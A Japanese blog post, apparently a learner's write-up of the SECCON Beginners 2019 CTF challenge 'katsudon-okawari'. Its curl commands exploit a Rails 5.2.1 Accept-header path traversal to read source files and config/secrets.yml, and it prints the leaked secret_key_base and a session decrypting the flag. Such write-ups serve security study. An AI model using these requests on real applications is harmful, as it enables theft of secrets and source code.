セキュリティ系の勉強、その他開発メモとか雑談. GithubはUnity触っていた頃ものがメイン Twitterフォローもよろしくです

【SECCON for Beginners 2019】katsudon-okawari 勉強してみる会

この記事は

弱々な自分のためにWriteUp見て勉強するだけなので、詳しく知りたい方は私が参考にしたサイトさんへ飛んでください!



参考サイト

teppay.hatenablog.com



katsudon-okawari

katsudonという問題が出題されたのですが、想定解でないものが見つかりおそらく再調整された問題がこれ。のちにわかるのですが、katsudonとは違う鍵の認証をコントローラでやってます。katsudonは下のコードだった。

serial_code = params[:serial_code]
@coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)


で、みんな恐らくググってたどり着いたであろうこのサイトによると、特定の方法でレンダされたページから、ディレクトリトラバーサル攻撃可能だそうです。普通にやばいけど一般的にRailsでは、MVCがいい感じに呼び合ってくれるので、RESTfulなページでは発生しなさそう。それこそ404ページとかその辺りの表示に使うかも。
で、今回出題にはRailsのバージョンが5.2.1との指定があったので、恐らく上記の脆弱性を使用する。

今回渡されるフラグの元は

bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==—cUS9fQetfBC8wsV7—E8vQbRF4vHovYlPFvH3UnQ==

であり、これが掲載されたページのソースには下のコメントがあったのでここから、ファイルを覗き見て複合するって感じだそうです。

..
<div class="main">
bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==
</div>
..


まずコメントのページにアクセス

$curl https://katsudon-okawari.quals.beginners.seccon.jp/flag -H 'Accept: ../../app/controllers/coupon_controller.rb{{'

class CouponController < ApplicationController
  def index
  end

  def show
    serial_code = params[:serial_code]
    msg_encryptor = ::ActiveSupport::MessageEncryptor.new(Rails.application.secrets[:secret_key_base][0..31], cipher: "aes-256-gcm")
    @coupon_id = msg_encryptor.encrypt_and_sign(serial_code)
  end
end


Rails.application.secrets[:secret_key_base][0..31]からconfig/secrets.ymlを読めばキーがわかりそうです。余談ですが、Rails 5.2からこの手段config/secrets.ymlは廃止されcredentials.yml.encになったはずです。(一応この手法も残されてはいた)

$ curl https://katsudon-okawari.quals.beginners.seccon.jp/flag -H 'Accept: ../../config/secrets.yml{{'
...
production:
  secret_key_base: 4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34

これでsecret_key_baseがわかったので、解けそうです。

[1] pry(main)> secrets  = '4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34'[0..31]
=> "4e78e9e627139829910a03eedc8b2455"
[2] pry(main)>
[3] pry(main)>
[4] pry(main)> msg_encryptor = ::ActiveSupport::MessageEncryptor.new(secrets, cipher: "aes-256-gcm")
=> #<ActiveSupport::MessageEncryptor:0x00007fe2da26b500
 @aead_mode=true,
 @cipher="aes-256-gcm",
 @options={:cipher=>"aes-256-gcm"},
 @rotations=[],
 @secret="4e78e9e627139829910a03eedc8b2455",
 @serializer=Marshal,
 @sign_secret=nil,
 @verifier=ActiveSupport::MessageEncryptor::NullVerifier>
[5] pry(main)> flag = msg_encryptor.decrypt_and_verify('bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==')
=> "ctf4b{06a46a95f2078ae095470992cd02f419}"
[6] pry(main)>


フラグは ctf4b{06a46a95f2078ae095470992cd02f419}
頑張ってれば解けてたかもなぁ、(悔)まぁ惜しくても解けなきゃ0点なんで

余談

こんな感じで他のファイルも見られる。

$ curl nners.seccon.jp/flag -H 'Accept: ../../config/routes.rb{{'

Rails.application.routes.draw do
  # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
  root to: "application#index"
  get '/storelists', to: "storelists#index"
  get '/flag', to: "application#flag"
  get '/coupon', to: "coupon#index"
  post '/coupon', to: "coupon#show"
end
$curl https://katsudon-okawari.quals.beginners.seccon.jp/flag -H 'Accept: ../../app/controllers/application_controller.rb{{'

class ApplicationController < ActionController::Base
  def index
    redirect_to "/storelists"
  end

  def flag
    render file:  "#{Rails.root}/flag.txt"
  end


Railsのコントローラの命名規則とか守ってなかったり、ルーティングも即席っぽかったりと、CTFの問題を作る人はきっと大変なんだろうなぁ、ありがたいなぁと思いました。